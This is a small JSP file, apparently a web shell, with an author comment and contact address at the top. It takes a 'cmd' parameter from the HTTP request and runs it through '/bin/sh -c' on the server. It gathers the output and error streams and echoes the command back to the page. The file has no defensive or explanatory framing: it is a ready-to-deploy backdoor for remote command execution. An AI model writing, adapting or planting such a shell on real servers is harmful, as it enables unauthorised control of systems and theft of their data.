%-- https://github.com/jimidk jim.maziashvili@gmail.com --%>
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; String error = ""; if(cmd != null) { String[] commandAndArgs = new String[]{ "/bin/sh", "-c", cmd }; String s = null; Process process = Runtime.getRuntime().exec(commandAndArgs); InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); Thread.sleep(2000); while(process.isAlive()) Thread.sleep(100); while((s = reader.readLine()) != null) { output += s+" "; } reader = new BufferedReader(new InputStreamReader(process.getErrorStream())); while((s = reader.readLine()) != null) { error += s+" "; } } %> cmd: <%=cmd %>